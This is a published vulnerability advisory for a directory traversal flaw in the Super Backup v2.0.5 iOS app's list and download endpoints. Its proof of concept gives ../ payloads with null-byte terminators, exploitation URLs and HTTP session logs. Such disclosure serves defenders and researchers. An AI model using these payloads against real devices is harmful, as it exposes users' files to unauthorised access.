Super Backup v2.0.5 iOS - Directory Traversal Vulnerability

Document Title:
===============
Super Backup v2.0.5 iOS - Directory Traversal Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2200


Release Date:
=============
2020-04-29


Vulnerability Laboratory ID (VL-ID):
====================================
2200


Common Vulnerability Scoring System:
====================================
7.1


Vulnerability Class:
====================
Directory- or Path-Traversal


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Backup all your iPhone or iPad contacts in 1 tap and export them. Fastest way to restore contacts from PC or Mac.
Export by mailing the backed up contacts file to yourself. Export contacts file to any other app on your device.
Export all contacts directly to your PC / Mac over Wifi, no software needed! Restore any contacts directly from
PC / Mac. Restore contacts via mail. Get the ultimate contacts backup app now.

(Copy of the Homepage: https://apps.apple.com/us/app/super-backup-export-import/id1052684097 )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a directory traversal vulnerability in the official SuperBackup v2.0.5 ios mobile application.



Affected Product(s):
====================
Dropouts Technologies LLP
Product: Super Backup v2.0.5


Vulnerability Disclosure Timeline:
==================================
2020-04-30: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Authentication Type:
====================
Pre Auth (No Privileges or Session)


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
A directory traversal web vulnerability has been discovered in the official Super Backup v2.0.5 ios mobile web-application.
The vulnerability allows remote attackers to change the application path in performed requests to compromise the local application 
or file-system of a mobile device. Attackers are for example able to request environment variables or a sensitive system path.

The directory-traversal web vulnerability in the app is located in the `list` and `download` module with the `path` parameter.
Attackers are able to change the path variable to request the local list command. By changing the path parameter the validation 
mechanism runs into a logic error that turns back the possibility to request different pathes outside the basic import/export 
folder. Thus way the attacker injects for example local path environment varibales to compromise the local ios web-application.

Exploitation of the directory traversal web vulnerability requires no privileged web-application user account or user interaction. 
Successful exploitation of the vulnerability results in information leaking by unauthorized file access and mobile application compromise.


Proof of Concept (PoC):
=======================
The directory traversal vulnerability can be exploited by attackers with access to the wifi interface in a local network without user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.


PoC: Payloads
%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F%00
/../../../../../../../../../../../../../../../../../../../../../../%00
//.././%00


PoC: Exploitation
http://localhost/list?path=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F%00
http://localhost/download?path=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F%00


--- PoC Session Logs [GET]] ---
http://localhost/list?path=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F%00
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
-
GET: HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Length: 174
Content-Type: application/json
Connection: Close
-
http://localhost/download?path=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F%00
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-
GET: HTTP/1.1 200 OK
Content-Length: 174
Content-Type: application/json
Connection: Close
-
Opening the url allows to download the list file json with content path output
[{"path":"../../../../../../../../../../../../ "size":21961}]


References:
http://localhost/list?path=
http://localhost/download?path=


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a restriction of the requested path parameters with the list and download module.


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


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=========================
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